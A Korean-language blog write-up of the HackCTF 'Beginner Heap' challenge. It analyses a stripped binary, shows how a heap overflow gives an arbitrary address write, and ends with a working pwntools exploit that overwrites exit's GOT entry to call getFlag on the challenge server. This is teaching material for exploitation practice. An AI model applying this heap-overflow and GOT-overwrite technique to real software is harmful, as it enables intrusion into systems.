HackCTF Beginner Heap Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

프로그램 분석

HackCTF 문제 중 가장 처음으로 만나는 Heap과 관련된 문제였습니다. 여태까지 풀었던 문제와 가장 큰 차이점은 stripped 되어 있다는 점이었습니다. 일반적으로 gdb, ghidra를 사용하여 분석할 때 프로그램 내에 존재하는 함수들을 확인할 수 있는데 이를 구분하기 어렵게 만들어 놓은 것이 차이점입니다.

이는 file 명령을 사용하여 확인할 수 있습니다.

root@3218f793af99:~/hackctf/begheap# file beginner_heap
beginner_heap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0e731dd538262f53bce462fc8e115cf2d2ede5bf, stripped

보통 이 경우 GDB를 사용하여 진행하는데 매우 큰 어려움이 있는데 ghidra의 경우 각각의 함수들은 구분할 수 있었습니다.

총 6개 정도의 Unknown 함수가 존재하였고 함수의 동작들을 확인하여 main 함수와 getFlag 함수를 확인할 수 있었습니다.

Main Function

void main(void)

{
  undefined4 *puVar1;
  void *pvVar2;
  undefined4 *puVar3;
  long in_FS_OFFSET;
  char local_1018 [4104];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  puVar1 = (undefined4 *)malloc(0x10);
  *puVar1 = 1;
  pvVar2 = malloc(8);
  *(void **)(puVar1 + 2) = pvVar2;
  puVar3 = (undefined4 *)malloc(0x10);
  *puVar3 = 2;
  pvVar2 = malloc(8);
  *(void **)(puVar3 + 2) = pvVar2;
  fgets(local_1018,0x1000,stdin);
  strcpy(*(char **)(puVar1 + 2),local_1018);
  fgets(local_1018,0x1000,stdin);
  strcpy(*(char **)(puVar3 + 2),local_1018);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Main을 전부 분석한 결과 한 가지 패턴이 반복되는 것을 확인할 수 있었습니다.

  1. 0x10 size의 heap 공간을 확보하여 A에 할당
  2. 0x8 size의 heap 공간을 확보하여 B에 할당
  3. B에 저장된 값을 A 시작 주소 + 0x8 위치에 저장
  4. local array에 fgets를 이용한 입력
  5. strcpy를 이용하여 local array의 값을 A의 시작 주소 + 0x8 이 가리키는 주소 즉, B 공간에 값을 복사

위 패턴이 2회 반복되었으며 획득할 수 있는 정보는 다음과 같았습니다.

  • strcpy를 이용하기 때문에 overflow가 발생할 수 있음
  • 특정 길이 이상의 문자열을 입력하였을 경우 SYSSEGV가 발생하였음

취약점 도출

Heap buffer overflow와 stack buffer overflow의 가장 큰 차이점은 heap bof의 경우 직접적으로 ret 주소를 조작할 수 없다는 점입니다. Prologue가 진행 시 ret 주소는 stack에 저장하기 때문에 일반적으로 ret까지 접근은 불가능합니다.

물론 ret 주소를 직접 변조하지 않고도 흐름을 조작할 수 있는 걸로 알지만 우선은 beginner heap인 만큼 simple한 취약점을 위주로 생각해보았습니다.

가장 처음 생각한 방법은 strcpy를 이용한 방법이었습니다. 그러나 이를 이용할 경우 결국 stack overflow를 이용해야하기에 다시 한번 프로그램에 대해 조사해보았습니다.

GDB를 이용하여 SYSSEGV가 발생하는 정확한 조건을 확인하던 중 첫 번째 입력에서 할당해준 size를 초과하는 입력을 할 경우 다른 heap 공간을 침범하는 것을 확인할 수 있었습니다.

이때 SYSSEGV가 발생하는 이유는 heap에 저장되어 있는 pointer 주소를 기반으로 두 번째 입력값을 저장할 위치를 지정하였기 때문입니다.

즉, 첫 번째 입력에서 값을 조작할 주소를 지정하고 두 번째 입력에서 해당 주소에서 변조할 값을 입력해주면 프로그램의 흐름을 조작할 수 있었습니다.

프로그램이 종료될 때, exit() 함수를 호출하였으므로 해당 함수의 GOT 주소 쪽을 AAW(Arbitrary Address Write) 취약점을 이용하여 getFlag() 함수 주소로 변경하였습니다.


Exploit

#!/usr/bin/python3

from pwn import *

#p = process("./beginner_heap")
p = remote("ctf.j0n9hyun.xyz", 3016)
#context.log_level = 'debug'

padding = b"A"*40

exit = 0x601068
flag = 0x400826

payload = padding
payload += p64(exit)

p.sendline(payload)
p.sendline(p64(flag))

log.info(p.recvline().decode('utf-8'))
profile
To be

0개의 댓글